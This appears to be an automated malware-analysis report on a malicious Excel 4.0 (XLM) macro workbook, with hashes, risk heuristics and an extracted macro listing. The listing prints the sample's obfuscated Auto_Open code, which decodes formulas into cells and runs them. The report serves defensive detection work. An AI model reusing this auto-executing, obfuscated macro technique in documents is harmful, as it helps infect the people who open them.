Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a391468ba8e2d23…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:34 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: cd76d461317f0f9dbd6cde59225bb69d SHA-1: cdfdd63beef5a7e1db581fb79a09327acd2132ae SHA-256: 5a391468ba8e2d2301f081ab2c02a0546bea3efd786a4d10f3cebbaff48e8f77
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6580 bytes
SHA-256: 2148ee5cba9c647e8688fbe2ef8050e6e747a2be55548679545a3cd10a02bfa2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  VsPJwNkr
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A175 
' 0018     23 LABEL : Cell Value, String Constant - BAxVJmxV len=0 
' 0018     23 LABEL : Cell Value, String Constant - BBIZkSCk len=0 
' 0018     26 LABEL : Cell Value, String Constant - dVoNBmdJBMs len=0 
' 0018     23 LABEL : Cell Value, String Constant - FhgSchCr len=0 
' 0018     24 LABEL : Cell Value, String Constant - ggahDgPSp len=0 
' 0018     24 LABEL : Cell Value, String Constant - jLQvFLPVh len=0 
' 0018     20 LABEL : Cell Value, String Constant - JwLog len=0 
' 0018     23 LABEL : Cell Value, String Constant - knZiBEOZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - MzmkMhuX len=0 
' 0018     26 LABEL : Cell Value, String Constant - NhoWYGwiTIM len=0 
' 0018     21 LABEL : Cell Value, String Constant - nIfDpq len=0 
' 0018     27 LABEL : Cell Value, String Constant - QcZHbMxAqHqI len=0 
' 0018     22 LABEL : Cell Value, String Constant - rMmvKrK len=0 
' 0018     25 LABEL : Cell Value, String Constant - RYDBswQnzq len=0 
' 0018     24 LABEL : Cell Value, String Constant - shDyiUaad len=0 
' 0018     21 LABEL : Cell Value, String Constant - SxqImo len=0 
' 0018     22 LABEL : Cell Value, String Constant - TjLSfYX len=0 
' 0018     26 LABEL : Cell Value, String Constant - xEDfKKzaHPS len=0 
' 0018     27 LABEL : Cell Value, String Constant - xIfQSFEgUVQw len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZOQtMtaxcp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  VsPJwNkr,A89,"SET.NAME("shDyiUaad",VALUE("0"))",""
'  VsPJwNkr,A92,"SET.NAME("QcZHbMxAqHqI",shDyiUaad)",""
'  VsPJwNkr,A97,"SET.NAME("xEDfKKzaHPS",shDyiUaad)",""
'  VsPJwNkr,A102,"SET.NAME("JwLog",COUNTA(dVoNBmdJBMs))",""
'  VsPJwNkr,A105,"SET.NAME("FhgSchCr",COUNTA(RYDBswQnzq))",""
'  VsPJwNkr,A107,[],""
'  VsPJwNkr,A112,"SET.NAME("knZiBEOZ","")",""
'  VsPJwNkr,A114,"QcZHbMxAqHqI",""
'  VsPJwNkr,A116,"SET.NAME("SxqImo",HLOOKUP("*",dVoNBmdJBMs,QcZHbMxAqHqI,FALSE))",""
'  VsPJwNkr,A118,"NhoWYGwiTIM",""
'  VsPJwNkr,A120,"SET.NAME("MzmkMhuX",shDyiUaad)",""
'  VsPJwNkr,A124,[],""
'  VsPJwNkr,A128,"MzmkMhuX",""
'  VsPJwNkr,A132,"nIfDpq",""
'  VsPJwNkr,A134,"BAxVJmxV",""
'  VsPJwNkr,A137,"xIfQSFEgUVQw",""
'  VsPJwNkr,A140,"SET.NAME("BBIZkSCk",VALUE(HLOOKUP("*",RYDBswQnzq,xIfQSFEgUVQw,FALSE)))",""
'  VsPJwNkr,A143,"rMmvKrK",""
'  VsPJwNkr,A146,"knZiBEOZ",""
'  VsPJwNkr,A149,"xEDfKKzaHPS",""
'  VsPJwNkr,A154,NEXT(),""
'  VsPJwNkr,A157,"TjLSfYX",""
'  VsPJwNkr,A161,"SET.NAME("f",INT(T(FORMULA(T(knZiBEOZ)&"",""&T(TjLSfYX)))))",""
'  VsPJwNkr,A166,"ZOQtMtaxcp",""
'  VsPJwNkr,A168,NEXT(),""
'  VsPJwNkr,A172,RETURN(),""
'  VsPJwNkr,A199,"SET.NAME("ggahDgPSp",A89)",""
'  VsPJwNkr,A204,"dVoNBmdJBMs",""
'  VsPJwNkr,A209,"SET.NAME("RYDBswQnzq",R41C14)",""
'  VsPJwNkr,A214,"SET.NAME("ZOQtMtaxcp",225)",""
'  VsPJwNkr,A219,"SET.NAME("jLQvFLPVh",1)",""
'  VsPJwNkr,A224,ggahDgPSp(),""
'  VsPJwNkr,A225,HALT(),""